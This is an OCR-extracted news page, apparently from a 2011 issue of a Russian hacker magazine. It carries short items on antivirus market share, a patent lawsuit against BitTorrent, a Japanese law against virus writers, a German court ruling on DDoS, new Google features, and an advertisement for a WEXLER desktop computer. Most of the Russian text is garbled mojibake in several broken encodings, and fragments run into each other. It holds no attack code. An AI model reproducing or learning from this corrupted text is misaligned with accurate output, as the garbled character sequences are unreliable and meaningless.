ËÑÔÐÎÆÊÙÁà ÒÏ×ÉÁÌÝÎÁà ÒÆÓÝ ÐÌÁÎÆÓÜ ÐÏÈÃÁÌÁ GeoHot ÎÁ ÑÁÂÏÓÔ ØÆÑÆÈ 
ÍÆÒà× ÐÏÒÌÆ ÆÄÏ ÒÔÅÆÂÎÏÄÏ ÑÁÈÂÉÑÁÓÆÌÝÒÓÃÁ Ò Sony. ̧ ÆÍ ËÏÎËÑÆÓÎÏ ÈÁ-
ÎÉÍÁÆÓÒà ¶ÏÓ× ÎÁ ÎÏÃÏÍ ÍÆÒÓÆ ÐÏËÁ ÎÆÉÈÃÆÒÓÎÏ, ÎÏ ÍÏÇÎÏ ÐÑÆÅÐÏÌÏÇÉÓÝ, 
ØÓÏ ÆÄÏ ÎÁÊÍ ÒÃàÈÁÎ Ò ÐÌÁÎÁÍÉ ËÏÍÐÁÎÉÉ ÃÜÊÓÉ ÎÁ ÍÏÂÉÌÝÎÜÊ ÑÜÎÏË. £ 
Facebook ÔÇÆ ÐÏÅÓÃÆÑÇÅÁÌÉ ÑÁÎÆÆ, ØÓÏ Ô ÎÉÖ Ã ÑÁÈÑÁÂÏÓËÆ ÎÁÖÏÅÉÓÒà ÐÑÉ-
ÌÏÇÆÎÉÆ ÅÌà iPad (ÔÅÉÃÉÓÆÌÝÎÏ, ØÓÏ ÆÄÏ ÅÏ ÒÉÖ ÐÏÑ ÎÆÓ), É ÆÄÏ ÑÆÌÉÈ ÔÇÆ ÎÆ 
ÈÁ ÄÏÑÁÍÉ. £ÑàÅ ÌÉ ÞÓÏ ÒÏÃÐÁÅÆÎÉÆ, É ÉÈÃÆÒÓÎÆÊÙÆÄÏ «àÂÌÏØÎÏÄÏ» É ÎÆ 
ÓÏÌÝËÏ ÅÇÆÊÌÂÑÆÊËÆÑÁ ÃÈàÌÉ ÎÁ ÑÁÂÏÓÔ Ã ËÏÍÐÁÎÉß ÎÆ ÐÏÞÓÏÍÔ. 

GEOHOT ÍÀØÅË ÐÀÁÎÒÓ

Microsoft Security Essentials — íàèáîëåå èñïîëüçóåìûé àíòèâèðóñ. Åãî 
èñïîëüçóþò íà 10,66% èç 43 000 êîìïüþòåðîâ, ïðîòåñòèðîâàííûõ OPSWAT 

ïî âñåìó ìèðó. Ýòî íåìíîãî ïðåâûøàåò ðåçóëüòàòû âòîðîãî ìåñòà, êîòîðîå 
çàíÿë Avira Antivir Personal ñ ïîêàçàòåëåì 10,18%. Áåñïëàòíûé àíòèâèðóñ AVAST! 
îêàçàëñÿ íà òðåòüåì ìåñòå ñ 8,66%.

ÇÎËÎÒÎ ICPC — ÍÀØÅ!
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«ÑÁÊÎÆ ÎÆÐÑÉàÓÎÜÊ ÒÔÅÆÂÎÜÊ ÉÒË 
ÂÜÌ ÃÜÅÃÉÎÔÓ ÐÑÏÓÉÃ ËÏÍÐÁÎÉÉ 
BitTorrent. ³ÏÃÁÑÉÚÉ ÉÈ Tranz-
Send Broadcasting Network ÎÁÒÓÁ-
ÉÃÁßÓ, ØÓÏ BitTorrent Inc É Kontiki 
Inc ÎÁÑÔÙÁßÓ ÐÁÓÆÎÓ 7.301.944 
(«±ÁÒÐÑÏÒÓÑÁÎÆÎÉÆ ÍÆÅÉÁÕÁÊÌÏÃ 
Ò ÉÒÐÏÌÝÈÏÃÁÎÉÆÍ ÁÅÁÐÓÉÃÎÏÄÏ 
ÐÑÏÓÏËÏÌÁ ÐÆÑÆÅÁØÉ») Ã ÑÆÁÌÉÈÁ-
×ÉÉ ÐÑÏÓÏËÏÌÁ BitTorrent. ¾ÓÉ ÎÁ-
ÑÔÙÆÎÉà àËÏÂÜ ÃÆÅÔÓ Ë ÒÔÚÆÒÓÃÆÎ-
ÎÜÍ ÐÏÓÆÑàÍ, É ËÏÍÐÁÎÉà ÓÆÐÆÑÝ 
ÓÑÆÂÔÆÓ ËÏÍÐÆÎÒÁ×ÉÉ ÔÚÆÑÂÁ. 
¸ÓÏ ÏÒÏÂÆÎÎÏ ÃÁÇÎÏ — ÐÏÍÉÍÏ 
ÐÑÉÌÏÇÆÎÉà uTorrent, ÑÁÒÒÍÁ-
ÓÑÉÃÁÆÓÒà ÔÚÆÑÂ É ÏÓ ÒÏÈÅÁÎÉà, 
ÉÒÐÏÌÝÈÏÃÁÎÉà É ÑÁÒÐÑÏÒÓÑÁ-
ÎÆÎÉà ÓÆÖÎÏÌÏÄÉÉ BitTorrent ËÁË 
ÓÁËÏÃÏÊ! ́ ÐÏÍàÎÔÓÜÊ ÐÁÓÆÎÓ ÂÜÌ 

ÈÁÑÆÄÉÒÓÑÉÑÏÃÁÎ Ã ÎÏàÂÑÆ 2007 
ÄÏÅÁ, Ã ÓÏ ÃÑÆÍà ËÁË ÈÁàÃËÁ ÎÁ 
ÎÆÄÏ ÐÏÅÁÃÁÌÁÒÝ ÆÚÆ Ã ÁÐÑÆÌÆ 
1999 ÄÏÅÁ, ÓÏ ÆÒÓÝ, ÈÁ ÅÃÁ ÄÏÅÁ 
ÅÏ ÐÏàÃÌÆÎÉà ÐÆÑÃÏÊ ÃÆÑÒÉÉ 
ÓÏÑÑÆÎÓ-ËÌÉÆÎÓÁ BitTorrent. ¦ÒÌÉ 
Tranz-Send Broadcasting Network 
ÒÔÍÆßÓ ÅÏËÁÈÁÓÝ, ØÓÏ ÐÑÁÃÁ ÎÁ 
ÓÆÖÎÏÌÏÄÉß ÅÆÊÒÓÃÉÓÆÌÝÎÏ ÂÜÌÉ 
ÈÁÐÁÓÆÎÓÏÃÁÎÜ ÉÍÉ, Á BitTorrent 
ÈÁÒÓÁÃàÓ ÐÌÁÓÉÓÝ ÏÓØÉÒÌÆÎÉà 
ÈÁ ËÁÇÅÔß ÈÁÄÑÔÈËÔ, ÞÓÏ ÍÏÇÆÓ 
ÎÁÎÆÒÓÉ ÔÚÆÑÂ ÎÆ ÓÏÌÝËÏ ÒÁÍÏÊ 
ËÏÍÐÁÎÉÉ, ÎÏ É ÃÒÆÍ ÐÏÌÝÈÏÃÁ-
ÓÆÌàÍ P2P-ÒÆÓÆÊ Ã ×ÆÌÏÍ. £ÆÅÝ 
ÐÏÌÔØÁÆÓÒà, ØÓÏ Ã ÓÁËÏÍ ÒÌÔØÁÆ 
ÅÁÇÆ ÒÁÍÏ ÉÒÐÏÌÝÈÏÃÁÎÉÆ 
ÓÏÑÑÆÎÓÏÃ ÔÇÆ ÎÆÈÁËÏÎÎÏ. ¢ÔÅÆÍ 
ÒÌÆÅÉÓÝ ÈÁ ÑÁÈÃÉÓÉÆÍ ÒÉÓÔÁ×ÉÉ.  

£ ÎÁÙÆ ÃÑÆÍà «ÔÍÎÜÊ ÅÏÍ» — ÔÇÆ ÎÆ ÐÔÒÓÜÆ 
ÒÌÏÃÁ É ÎÆ ÏÂÏÑÏÓ ÒÏ ÒÓÑÁÎÉ× ÕÁÎÓÁÒÓÉØÆ-
ÒËÉÖ ÑÏÍÁÎÏÃ. ¾ÓÏ ÑÆÁÌÝÎÏÒÓÝ. £ÒÆ ÂÏÌÝÙÆ 
ÂÜÓÏÃÜÖ ÐÑÉÂÏÑÏÃ ÍÏÇÎÏ ËÏÎÓÑÏÌÉÑÏÃÁÓÝ 
ÔÅÁÌÆÎÎÏ, ÓÁË ØÓÏ Ã ÒËÏÑÏÍ ÃÑÆÍÆÎÉ, ÐÏ-
ÇÁÌÔÊ, ÍÏÇÎÏ ÂÔÅÆÓ ÂÆÈ ÙÔÓÏË ÐÏÈÃÏÎÉÓÝ 
ÎÁ ÖÏÌÏÅÉÌÝÎÉË ÉÌÉ ÔÓßÄ :). ®Ô Á ÂÌÁÄÏÅÁÑà 
ÒÏÓÏÃÜÍ ÏÐÆÑÁÓÏÑÁÍ ÓÆÐÆÑÝ ÍÏÇÎÏ ÆÚÆ 
É ÐÏÒÜÌÁÓÝ SMS ÑÏÈÆÓËÆ. ́ ÇÆ ÎÁØÁÌÉÒÝ 
ÐÑÏÅÁÇÉ ÔÍÎÏÊ ÞÌÆËÓÑÏÑÏÈÆÓËÉ Ò ÅÁÓØÉËÏÍ 
ÓÆÍÐÆÑÁÓÔÑ É ÅÉÒÓÁÎ×ÉÏÎÎÜÍ ÔÐÑÁÃÌÆÎÉÆÍ 
«ÆÄÁÕÏÎ GS1». ¥ÆÃÁÊÒ, ÐÑÏÉÈÃÏÅÉÓÆÌÆÍ 
ËÏÓÏÑÏÄÏ àÃÌàÆÓÒà ËÉÓÁÊÒËÁà ËÏÍÐÁÎÉà 
SenseIT, ÏÒÎÁÚÁÆÓÒà GSM-ÍÏÅÔÌÆÍ Ò 
SIM-ËÁÑÓÏÊ, ÓÁË ØÓÏ ÉÍ ÍÏÇÎÏ ÎÆ ÓÏÌÝËÏ 
ÔÐÑÁÃÌàÓÝ É ÔÅÁÌÆÎÎÏ, ÎÏ É ÐÏÌÔØÁÓÝ ÏÓ ÎÆÄÏ 

ÏÓÃÆÓÎÜÆ ÏÐÏÃÆÚÆÎÉà. ́ ÒÓÑÏÊÒÓÃÏ ÒÐÏÒÏÂÎÏ 
ÒÁÍÏÒÓÏàÓÆÌÝÎÏ ÉÎÕÏÑÍÉÑÏÃÁÓÝ «ÖÏÈàÉÎÁ» 
Ï ÃËÌßØÆÎÉÉ ÉÌÉ ÏÓËÌßØÆÎÉÉ ÞÌÆËÓÑÏÐÑÉ-
ÂÏÑÏÃ É ÑÆÈËÏÍ ÉÈÍÆÎÆÎÉÉ ÓÆÍÐÆÑÁÓÔÑÜ 
ÉÌÉ ÅÏÒÓÉÇÆÎÉÉ ÏÐÑÆÅÆÌÆÎÎÏÄÏ ÐÑÆÅÆÌÁ 
(ÐÏÅÅÆÑÇÉÃÁÆÓÒà ÅÉÁÐÁÈÏÎ ÓÆÍÐÆÑÁÓÔÑ ÏÓ 
-10 °² ÅÏ 50 °²), ØÓÏ ÏÒÏÂÆÎÎÏ ÁËÓÔÁÌÝÎÏ ÅÌà 
ÃÌÁÅÆÌÝ×ÆÃ ËÏÎÅÉ×ÉÏÎÆÑÏÃ. ©ÎÓÆÑÆÒÎÏ É ÓÏ, 
ØÓÏ ÐÏÅ ÅÆÃÁÊÒ ÎÆ ÐÑÉÅÆÓÒà ÙÓÑÏÂÉÓÝ ÒÓÆÎÜ 
— GS1 ÃÒÓÁÃÌàÆÓÒà Ã ÏÂÜØÎÔß ÑÏÈÆÓËÔ, ÐÏÒÌÆ 
ØÆÄÏ Ô ÐÏÌÝÈÏÃÁÓÆÌà ÐÏàÃÌàÆÓÒà ÃÏÈÍÏÇ-
ÎÏÒÓÝ ÅÉÒÓÁÎ×ÉÏÎÎÏ, Ò ÐÏÍÏÚÝß ÍÏÂÉÌÝÎÉ-
ËÁ, ÔÐÑÁÃÌàÓÝ ÃËÌßØÆÎÉÆÍ/ÃÜËÌßØÆÎÉÆÍ 
ÐÑÉÂÏÑÏÃ É ÔÈÎÁÃÁÓÝ ÓÆÍÐÆÑÁÓÔÑÔ Ã ÐÏ-
ÍÆÚÆÎÉÉ. ·ÆÎÁ ÎÏÃÉÎËÉ ÃÍÆÒÓÆ Ò ÓÁÑÉÕÏÍ 
ÒÏÒÓÁÃÌàÆÓ 3 000 ÑÔÂÌÆÊ. 

ÐÎÇÅÒÊÀ Ñ ÓÄÀËÅÍÍÛÌ ÄÎÑÒÓÏÎÌ

ÍÀ BITTORRENT ÏÎÄÀÞÒ Â ÑÓÄ

Ñêîëüêî çàðàáàòûâàþò âî «ÂÊîíòàêòå»? Åæåãîäíàÿ âûðó÷êà ñîñòàâëÿåò 
$8-9 ìëí, ïðèìåðíî 60% ïðèõîäèòñÿ íà òàðãåòèðîâàííóþ ðåêëàìó. 

Òðèäöàòü ïðîöåíòîâ âûðó÷êè ïðèíîñÿò ïðèëîæåíèÿ, åùå äåñÿòü — îñòàëüíûå 
ñåðâèñû.

70% âîçâðàòîâ Android-ñìàðòôîíîâ ïðîèñõîäèò èç-çà íèçêîêà÷åñòâåííûõ 
ïðèëîæåíèé, çàÿâëÿåò Motorola. Áîëüøèíñòâî ýòèõ ïðèëîæåíèé íå 

òåñòèðîâàëîñü, è âëèÿíèå èõ íà àêêóìóëÿòîðû è CPU íå îöåíèâàëîñü â ïîëíîé 
ìåðå.





MEGANEWS

XÀÊÅÐ  08  /151/  2011 008

ÍÎÂÎÂÂÅÄÅÍÈß GOOGLE

ÂÈÐÓÑÎÏÈÑÀÒÅËÅÉ Â ßÏÎÍÈÈ ÁÓÄÓÒ ÑÀÆÀÒÜ
®ÆÅÁÃÎÏ ÐÁÑÌÁÍÆÎÓ ÀÐÏÎÉÉ ÏÅÏ-
ÂÑÉÌ ÎÏÃÜÊ ÈÁËÏÎ ÐÑÏÓÉÃ ËÉÂÆÑ-
ÐÑÆÒÓÔÐÎÏÒÓÉ, ÒÏÄÌÁÒÎÏ ËÏÓÏÑÏÍÔ 
ÒÏÈÅÁÎÉÆ, ÖÑÁÎÆÎÉÆ É ÑÁÒÐÑÏ-
ÒÓÑÁÎÆÎÉÆ ËÏÍÐÝßÓÆÑÎÜÖ ÃÉÑÔÒÏÃ 
ÓÆÐÆÑÝ ÂÔÅÆÓ ËÁÑÁÓÝÒà ÙÓÑÁÕÏÍ 
ÉÌÉ ÌÉÙÆÎÉÆÍ ÒÃÏÂÏÅÜ. ³ÆÐÆÑÝ 
Ã ÒÓÑÁÎÆ ÃÏÒÖÏÅàÚÆÄÏ ÒÏÌÎ×Á ÈÁ 
ÔÍÜÙÌÆÎÎÏÆ ÒÏÈÅÁÎÉÆ ÉÌÉ ÑÁÒ-
ÐÑÏÒÓÑÁÎÆÎÉÆ ÍÁÌÃÁÑÉ ÂÔÅÔÓ ÙÓÑÁ-
ÕÏÃÁÓÝ ÎÁ 500 ÓÜÒàØ ÉÆÎ (6,2 ÓÜÒà-
ØÉ ÅÏÌÌÁÑÏÃ) ÉÌÉ ÐÑÉÄÏÃÁÑÉÃÁÓÝ 
Ë ÓßÑÆÍÎÏÍÔ ÈÁËÌßØÆÎÉß ÎÁ ÒÑÏË 
ÅÏ ÓÑÆÖ ÌÆÓ. ̈ Á ÖÑÁÎÆÎÉÆ ÃÉÑÔÒÏÃ 
ÐÑÆÅÔÒÍÏÓÑÆÎ ÙÓÑÁÕ Ã 300 ÓÜÒàØ 
ÉÆÎ (3,7 ÓÜÒàØÉ ÅÏÌÌÁÑÏÃ) É ÓßÑÆÍ-
ÎÜÊ ÒÑÏË ÅÏ ÅÃÔÖ ÌÆÓ. ³ÁË ËÁË ÈÁËÏÎ 
ÏÇÉÅÁÆÍÏ ÃÜÈÃÁÌ ÃÏÌÎÔ ÎÁÑÏÅÎÏÄÏ 
ÎÆÄÏÅÏÃÁÎÉà, ÃÌÁÒÓÉ ÏÒÏÂÆÎÎÏ 
ÐÏÅØÆÑËÎÔÌÉ, ØÓÏ ÈÁËÏÎ ÂÜÌ ÅÏ-
ÐÏÌÎÆÎ ÑÆÈÏÌß×ÉÆÊ Ò ÓÑÆÂÏÃÁÎÉÆÍ 
ÉÈÂÆÄÁÓÝ ÈÌÏÔÐÏÓÑÆÂÌÆÎÉÊ. £ ÓÏ ÇÆ 
ÃÑÆÍà Ã ¤ÆÑÍÁÎÉÉ ÒÔÅ ÏÕÉ×ÉÁÌÝÎÏ 

ÐÑÉÈÎÁÌ DDoS ÔÄÏÌÏÃÎÏ ÎÁËÁÈÔÆ-
ÍÜÍ ÅÆàÎÉÆÍ. ²ÔÅ ¥ßÒÒÆÌÝÅÏÑÕÁ 
ÐÏÒØÉÓÁÌ, ØÓÏ ÂÌÏËÉÑÏÃÁÎÉÆ 
ÑÁÂÏÓÜ ÉÎÓÆÑÎÆÓ-ÒÁÊÓÏÃ ÐÔÓÆÍ 
ÉÖ ÐÑÆÅÎÁÍÆÑÆÎÎÏÊ ÐÆÑÆÄÑÔÈËÉ 
ÈÁÐÑÏÒÁÍÉ ÈÁÐÑÏÒÓÏ ÍÏÇÆÓ ÈÁ-
ËÏÎØÉÓÝÒà ÓßÑÆÍÎÜÍ ÒÑÏËÏÍ — ÅÏ 
ÅÆÒàÓÉ ÌÆÓ ÌÉÙÆÎÉà ÒÃÏÂÏÅÜ. 
³ÁËÏÊ ÐÑÉÄÏÃÏÑ ÂÜÌ ÃÜÎÆÒÆÎ ÆÚÆ 
Ã ÍÁÑÓÆ, ËÏÄÅÁ ÒÌÔÙÁÌÏÒÝ ÅÆÌÏ Ï 
ÂÌÏËÉÑÏÃËÆ ÑÁÂÏÓÜ ÙÆÒÓÉ ÂÔËÍÆ-
ËÆÑÒËÉÖ ÒÁÊÓÏÃ, ÏÅÎÁËÏ ÙÉÑÏËÔß 
ÏÄÌÁÒËÔ ÏÎ ÐÏÌÔØÉÌ ÌÉÙÝ ÒÆÊØÁÒ. 
²ÔÅ ÏÐÉÑÁÌÒà ÎÁ ÐÁÑÁÄÑÁÕ 303b 
ÔÄÏÌÏÃÎÏÄÏ ËÏÅÆËÒÁ ¤ÆÑÍÁÎÉÉ 
(«ËÏÍÐÝßÓÆÑÎÜÊ ÒÁÂÏÓÁÇ»), ÈÁ ËÏ-
ÓÏÑÜÊ ÐÑÆÅÔÒÍÏÓÑÆÎÏ ÎÁËÁÈÁÎÉÆ Ã 
ÃÉÅÆ ÌÉÙÆÎÉà ÒÃÏÂÏÅÜ ÎÁ ÒÑÏË ÅÏ 
ÅÆÒàÓÉ ÌÆÓ. ́ ØÉÓÜÃÁà ÓÏÓ ÕÁËÓ, ØÓÏ 
Ã ¤ÆÑÍÁÎÉÉ ÅÆÊÒÓÃÔÆÓ ÐÑÆ×ÆÅÆÎÓ-
ÎÏÆ ÐÑÁÃÏ, ÎÉØÆÄÏ ÖÏÑÏÙÆÄÏ Ã 
ÂÔÅÔÚÆÍ ÆÃÑÏÐÆÊÒËÉÍ DDoS’ÆÑÁÍ 
ÏÇÉÅÁÓÝ ÎÆ ÒÓÏÉÓ.

Ïðåäñòàâèëè óïðàâëåíèÿ «Ê» ñîîáùàþò: êîëè÷åñòâî ïðåñòóïëåíèé 
ñîâåðøåííûõ ïðè ïîìîùè èíòåðíåòà â 2011 ãîäó óæå âûðîñëî íà 95%.

°ÑÏ ÄÏÌÏÒÏÃÏÊ ÐÏÉÒË ÏÓ Google ÍÜ ÒÌÜÙÁÌÉ ÔÇÆ ÅÁÃÎÏ, ÓÁË ËÁË ÃÐÆÑÃÜÆ 
ÆÄÏ ÐÑÆÅÒÓÁÃÉÌÉ ÆÚÆ Ã 2009 ÄÏÅÔ. ³ÆÐÆÑÝ Google Voice Search ÎÁËÏÎÆ×-
ÓÏ ÏÕÉ×ÉÁÌÝÎÏ ÅÏÒÓÔÐÆÎ ÎÆ ÓÏÌÝËÏ ßÈÆÑÁÍ Android, Symbian É iOS, ÎÏ 
É ÐÏÌÝÈÏÃÁÓÆÌàÍ ÂÑÁÔÈÆÑÁ Google Chrome ÅÌà ÐÆÑÒÏÎÁÌÝÎÜÖ ËÏÍÐÝß-
ÓÆÑÏÃ. ¥Á-ÅÁ, ÂÆÈ «¶ÑÏÍÁ» ÓÔÓ ÎÉËÔÅÁ, ÃÆÅÝ ÓÆÖÎÏÌÏÄÉà, ÉÒÐÏÌÝÈÔÆÍÁà 
Ã Chrome, àÃÌàÆÓÒà ÈÁËÑÜÓÏÊ. ³ÁËÉÍ ÏÂÑÁÈÏÍ, ÒÔÅÉÓÝ Ï ÓÏÍ, ËÏÄÅÁ 
ÁÎÁÌÏÄÉØÎÜÊ ÕÔÎË×ÉÏÎÁÌ ÐÏàÃÉÓÒà Ã ÅÑÔÄÉÖ ÂÑÁÔÈÆÑÁÖ, ÐÏËÁ ÅÏÃÏÌÝÎÏ 
ÒÌÏÇÎÏ. 
£ÓÏÑÏÆ ÎÏÃÙÆÒÓÃÏ, Ï ËÏÓÏÑÏÍ ËÏÍÐÁÎÉà Google ÏÂÛàÃÉÌÁ Ã ÒÆÑÆÅÉÎÆ 
ÉßÎà — ÞÓÏ ÐÏÉÒË ÐÏ ÉÈÏÂÑÁÇÆÎÉàÍ. °ÑÉÃÜØÎÜÊ Google Images ÓÆÐÆÑÝ 
ÏÂÌÁÅÁÆÓ ÕÔÎË×ÉÏÎÁÌÏÍ ÒÖÏÇÉÍ Ò TinEye. ³Ï ÆÒÓÝ, ÏÓÎÜÎÆ ÍÏÇÎÏ ÈÁ-

ÄÑÔÈÉÓÝ Ã ÐÏÉÒËÏÃÉË ËÁÑÓÉÎËÔ (ÉÌÉ ÔËÁÈÁÓÝ ÎÁ ÉÈÏÂÑÁÇÆÎÉÆ ÒÒÜÌËÔ) É 
ÎÁÊÓÉ ÆÆ ÔÐÏÍÉÎÁÎÉÆ ÎÁ ÑÁÈÌÉØÎÜÖ ÃÆÂ-ÒÁÊÓÁÖ, ÏÓÜÒËÁÓÝ ÐÏÖÏÇÉÆ ÉÈÏ-
ÂÑÁÇÆÎÉà. ³ÁËÇÆ ÍÏÇÎÏ ÂÔÅÆÓ ÑÁÒÐÏÈÎÁÃÁÓÝ ÈÅÁÎÉà ÐÏ ÉÖ ÕÏÓÏÄÑÁÕÉàÍ, 
ÍÔÈÜËÁÌÝÎÜÆ ÁÌÝÂÏÍÜ ÐÏ ÉÖ ÏÂÌÏÇËÁÍ É ÓÁË ÅÁÌÆÆ. £ÐÑÏØÆÍ, ÑÁÒÐÏÈÎÁ-
ÃÁÓÝ ÌÉ×Á ÌßÅÆÊ ÎÏÃÉÎËÁ ÏÓËÁÈÜÃÁÆÓÒà, ØÓÏ ÃÐÏÌÎÆ ÏÂÛàÒÎÉÍÏ — ÅÏ-
ÒÓÁÓÏØÎÏ ÃÒÐÏÍÎÉÓÝ, ËÁËÉÍ ÙËÃÁÌÏÍ ËÑÉÓÉËÉ É ÏÂÃÉÎÆÎÉÊ Ã ÎÁÑÔÙÆ-
ÎÉÉ ËÏÎÕÉÅÆÎ×ÉÁÌÝÎÏÒÓÉ É ÁÎÏÎÉÍÎÏÒÓÉ ÐÏÌÝÈÏÃÁÓÆÌÆÊ ²ÆÓÉ ÂÜÌÁ 
ÎÆÅÁÃÎÏ ÃÒÓÑÆØÆÎÁ ÕÔÎË×Éà ÑÁÒÐÏÈÎÁÃÁÎÉà ÌÉ× ÎÁ ÕÏÓÏ Ã Facebook. 
Google ÞÓÏ ÎÏÃÏÃÃÆÅÆÎÉÆ ÓÏÇÆ ÎÆ ÏÅÏÂÑÉÌ, Á ¾ÑÉË ¹ÍÉÓ (ÐÑÆÅÒÆÅÁÓÆÌÝ 
ÒÏÃÆÓÁ ÅÉÑÆËÓÏÑÏÃ Google) ÈÁàÃÉÌ, ØÓÏ ÐÏÅÏÂÎÜÍ «ËÏÑÐÏÑÁ×Éà ¥ÏÂÑÁ» 
ÎÉËÏÄÅÁ ÈÁÎÉÍÁÓÝÒà ÎÆ ÂÔÅÆÓ.  



WEXLER.HOME 903

Ìû ðåêîìåíäóåì ïîäëèííóþ ÎÑ Windows® 7.
¨¡¯ «¢³«» — ÏÕÉ×ÉÁÌÝÎÜÊ ÅÉÒÓÑÉÂÔÓÏÑ 
ÓÆÖÎÉËÉ WEXLER Ã ±ÏÒÒÉÉ
¦ÅÉÎÁà ÒÌÔÇÂÁ ÐÏÅÅÆÑÇËÉ Wexler:
+7 (800) 200-9660
www.wexler.ru

Много лет назад мы все заморачивались покупкой комьютера по частям и самостоятельно 
собирали его,  посмеиваясь над производителями готовых сборок (и непременно теми, 
кто их покупает). Мол, и железо они подбирают не оптимальное, и продают втридорога. 
Романтика handycraft'а давно ушла, пришел простой расчет. Оказалось, что готовые сборки с 
установленной системой зачастую обходятся дешевле, чем собирать компьютер самому. Легче 
пойти в магазин и купить компьютер с классной конфигурацией за хорошую цену. В случае 
с WEXLER.HOME 903 с 64-битной Windows® 7 на борту ты получаешь практически топовую 
машину, которая идеально подойдет для игр.

© £ÌÁÅÆÌÝ×ÆÍ ÓÏÃÁÑÎÏÄÏ ÈÎÁËÁ Microsoft® É ÌÏÄÏÓÉÐÁ Windows® 7, ÈÁÑÆÄÉÒÓÑÉÑÏÃÁÎÎÜÖ ÎÁ ÓÆÑÑÉÓÏÑÉÉ ²¹¡ É/ÉÌÉ ÅÑÔÄÉÖ ÒÓÑÁÎ, É ÃÌÁÅÆÌÝ×ÆÍ ÁÃÓÏÑÒËÉÖ ÐÑÁÃ 
ÎÁ ÆÄÏ ÅÉÈÁÊÎ àÃÌàÆÓÒà ËÏÑÐÏÑÁ×Éà Microsoft®.

Процессор
£ ËÁØÆÒÓÃÆ ÐÑÏ×ÆÒÒÏÑÁ ÉÒÐÏÌÝÈÔÆÓÒà ÍÏÚÎÜÊ ÅÃÔÖàÅÆÑÎÜÊ ÐÑÏ×ÆÒ-
ÒÏÑ Intel® Core™ i5-650 Ò ØÁÒÓÏÓÏÊ 3,2 ¤¤× É ËÞÙ-ÐÁÍàÓÝß 4 Â. CPU 
ÉÍÆÆÓ ÃÒÓÑÏÆÎÎÜÊ ËÏÎÓÑÏÌÌÆÑ ÐÁÍàÓÉ É ÐÏÅÅÆÑÇÉÃÁÆÓ ÓÆÖÎÏÌÏÄÉß 
Turbo Boost, ÁÃÓÏÍÁÓÉØÆÒËÉ ÑÁÈÄÏÎàßÚÔß ÆÄÏ ÐÏÅ ÎÁÄÑÔÈËÏÊ (ÎÁÐÑÉ-
ÍÆÑ, Ã ÐÏÒÌÆÅÎÉÖ ÉÄÑÁÖ). ¢ÏÌÆÆ ÓÏÄÏ, ÓÁËÉÆ ÐÑÏ×ÆÒÒÏÑÜ ÐÏÒÓÁÃÌàßÓ-
Òà ÆÚÆ É ÒÏ ÃÒÓÑÏÆÎÎÜÍ ËÏÎÓÑÏÌÌÆÑÏÍ ÐÁÍàÓÉ.

Видео
¨Á ÉÄÑÏÃÜÆ ÃÏÈÍÏÇÎÏÒÓÉ ÏÓÃÆØÁßÓ ÅÃÆ ÃÉÅÆÏËÁÑÓÜ GeForce GTX 460, 
ÏÒÎÏÃÁÎÎÜÆ ÎÁ ÎÏÃÆÊÙÆÊ ÃÜØÉÒÌÉÓÆÌÝÎÏÊ ÁÑÖÉÓÆËÓÔÑÆ «Fermi». 
¢ÌÁÄÏÅÁÑà ÃÜÒÏËÏÊ ÐÑÏÉÈÃÏÅÉÓÆÌÝÎÏÒÓÉ Ã ÑÆÇÉÍÆ DirectX 11 ÓÆÒ-
ÒÆÌà×ÉÉ ÐÑÏ×ÆÒÒÏÑ GTX 460 ÏÂÆÒÐÆØÉÃÁÆÓ ÉÅÆÁÌÝÎÏ ØÆÓËÔß ÄÑÁ-
ÕÉËÔ ÂÆÈ ÔÚÆÑÂÁ ÅÌà ÒËÏÑÏÒÓÉ, Á ÐÏÅÅÆÑÇËÁ ÓÆÖÎÏÌÏÄÉÊ NVIDIA 3D 
Vision™, PhysX® É CUDA™ ÐÏÈÃÏÌàÆÓ ÃÉÈÔÁÌÉÈÉÑÏÃÁÓÝ ÃÒÆ ÒÁÍÜÆ 
ÐÏÓÑàÒÁßÚÉÆ ÞÕÕÆËÓÜ, ÎÁ ËÏÓÏÑÜÆ ÒÐÏÒÏÂÎÜ ËÏÍÐÝßÓÆÑÎÜÆ ÉÄÑÜ. 
°ÑÏÒÓÏ ÃÜÒÓÁÃÌàÊ ÎÁÒÓÑÏÊËÉ ÄÑÁÕÉËÉ ÎÁ ÍÁËÒÉÍÔÍ.

ОЗУ
«ÏÍÐÝßÓÆÑ WEXLER.HOME 903 ÔËÏÍÐÌÆËÓÏÃÁÎ ÏÐÆÑÁÓÉÃÎÏÊ ÐÁÍàÓÝß 
4 ¤Â, ÑÁÂÏÓÁßÚÆÊ Ã ÅÃÔÖËÁÎÁÌÝÎÏÍ ÑÆÇÉÍÆ. ¢ÌÁÄÏÅÁÑà ÞÓÏÍÔ ÑÁÂÏÓÁ 

Ò ËÁÇÅÜÍ ÉÈ ÅÃÔÖ ÔÒÓÁÎÏÃÌÆÎÎÜÖ ÍÏÅÔÌÆÊ ÐÁÍàÓÉ ÏÒÔÚÆÒÓÃÌàÆÓÒà 
ÐÁÑÁÌÌÆÌÝÎÏ. °ÔÒËÁÊ ÓÆÖÎÏÌÏÄÉà É ÎÆ ÅÁÆÓ ÓÆÏÑÆÓÉØÆÒËÏÄÏ ÔÃÆÌÉØÆ-
ÎÉà ÐÑÏÐÔÒËÎÏÊ ÒÐÏÒÏÂÎÏÒÓÉ Ã ÅÃÁ ÑÁÈÁ, ÎÏ, ÓÆÍ ÎÆ ÍÆÎÆÆ, ÃÎÏÒÉÓ 
ÏÚÔÓÉÍÜÊ ÑÆÈÔÌÝÓÁÓ.

Блок питания
®ÁÂÏÑ ÍÏÚÎÏÄÏ ÇÆÌÆÈÁ ÎÆ ÍÏÇÆÓ ÏÂÏÊÓÉÒÝ ÂÆÈ ÎÁÅÆÇÎÏÄÏ ÐÉÓÁ-
ÎÉà. £ WEXLER.HOME ÞÌÆËÓÑÏÐÉÓÁÎÉÆ ÏÒÔÚÆÒÓÃÌàÆÓÒà Ò ÐÏÍÏÚÝß 
ÎÁÅÆÇÎÏÄÏ ÂÌÏËÁ ÐÉÓÁÎÉà ÍÏÚÎÏÒÓÝß 750 £Ó. ¾ÓÏ ÅÁÇÆ ÂÏÌÝÙÆ, ØÆÍ 
ÎÔÇÎÏ, ÎÏ ÈÁÓÏ ÏÂÆÒÐÆØÉÃÁÆÓ ÖÏÑÏÙÉÊ ÈÁÐÁÒ ÎÁÅÆÇÎÏÒÓÉ.

Софт
®Á ÃÒÆÖ ËÏÍÐÝßÓÆÑÁÖ WEXLER.HOME 903 ÐÑÆÅÔÒÓÁÎÏÃÌÆÎÁ ÏÐÆÑÁ×É-
